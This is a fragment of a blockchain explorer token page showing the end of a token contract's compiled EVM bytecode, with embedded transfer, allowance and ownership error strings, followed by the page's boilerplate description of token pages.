fffffffffffffffffffffffffff82169050919050565b600061104b82611020565b9050919050565b61105b81611040565b811461106657600080fd5b50565b60008135905061107881611052565b92915050565b6000819050919050565b6110918161107e565b811461109c57600080fd5b50565b6000813590506110ae81611088565b92915050565b600080604083850312156110cb576110ca611016565b5b60006110d985828601611069565b92505060206110ea8582860161109f565b9150509250929050565b60008115159050919050565b611109816110f4565b82525050565b60006020820190506111246000830184611100565b92915050565b6111338161107e565b82525050565b600060208201905061114e600083018461112a565b92915050565b60008060006060848603121561116d5761116c611016565b5b600061117b86828701611069565b935050602061118c86828701611069565b925050604061119d8682870161109f565b9150509250925092565b600060ff82169050919050565b6111bd816111a7565b82525050565b60006020820190506111d860008301846111b4565b92915050565b6000602082840312156111f4576111f3611016565b5b600061120284828501611069565b91505092915050565b61121481611040565b82525050565b600060208201905061122f600083018461120b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61127282610fa0565b810181811067ffffffffffffffff821117156112915761129061123a565b5b80604052505050565b60006112a461100c565b90506112b08282611269565b919050565b600067ffffffffffffffff8211156112d0576112cf61123a565b5b602082029050602081019050919050565b600080fd5b60006112f96112f4846112b5565b61129a565b9050808382526020820190506020840283018581111561131c5761131b6112e1565b5b835b8181101561134557806113318882611069565b84526020840193505060208101905061131e565b5050509392505050565b600082601f83011261136457611363611235565b5b81356113748482602086016112e6565b91505092915050565b6000806040838503121561139457611393611016565b5b600083013567ffffffffffffffff8111156113b2576113b161101b565b5b6113be8582860161134f565b92505060206113cf8582860161109f565b9150509250929050565b600080604083850312156113f0576113ef611016565b5b60006113fe85828601611069565b925050602061140f85828601611069565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561149f5780860481111561147b5761147a611419565b5b600185161561148a5780820291505b808102905061149885611448565b945061145f565b94509492505050565b6000826114b85760019050611574565b816114c65760009050611574565b81600181146114dc57600281146114e657611515565b6001915050611574565b60ff8411156114f8576114f7611419565b5b8360020a91508482111561150f5761150e611419565b5b50611574565b5060208310610133831016604e8410600b841016171561154a5782820a90508381111561154557611544611419565b5b611574565b6115578484846001611455565b9250905081840481111561156e5761156d611419565b5b81810290505b9392505050565b60006115868261107e565b9150611591836111a7565b92506115be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114a8565b905092915050565b60006115d18261107e565b91506115dc8361107e565b92508282026115ea8161107e565b9150828204841483151761160157611600611419565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611664602583610f65565b915061166f82611608565b604082019050919050565b6000602082019050818103600083015261169381611657565b9050919050565b60006116a58261107e565b91506116b08361107e565b92508282039050818111156116c8576116c7611419565b5b92915050565b60006116d98261107e565b91506116e48361107e565b92508282019050808211156116fc576116fb611419565b5b92915050565b7f544f4b454e3a206578656375746f72206973206e6f7420746865206f7269676960008201527f6e61746f72000000000000000000000000000000000000000000000000000000602082015250565b600061175e602583610f65565b915061176982611702565b604082019050919050565b6000602082019050818103600083015261178d81611751565b9050919050565b7f4572726f723a207461726765742062616c616e63652073686f756c642062652060008201527f6e6f6e2d6e656761746976650000000000000000000000000000000000000000602082015250565b60006117f0602c83610f65565b91506117fb82611794565b604082019050919050565b6000602082019050818103600083015261181f816117e3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a207573657220616464726573732063616e6e6f7420626520746860008201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b60006118b1602e83610f65565b91506118bc82611855565b604082019050919050565b600060208201905081810360008301526118e0816118a4565b9050919050565b60006040820190506118fc600083018561112a565b611909602083018461112a565b9392505050565b600061191b8261107e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361194d5761194c611419565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006119b4602383610f65565b91506119bf82611958565b604082019050919050565b600060208201905081810360008301526119e3816119a7565b9050919050565b7f50726f70726965746f72736869703a206578656375746f72206973206e6f742060008201527f7468652070726f70726965746f72000000000000000000000000000000000000602082015250565b6000611a46602e83610f65565b9150611a51826119ea565b604082019050919050565b60006020820190508181036000830152611a7581611a39565b905091905056fea26469706673582212204a0b15d1b5431b9fc8f8a8cbec2cc537c86f85fd559bd4b0b325135ec6bfa9f364736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.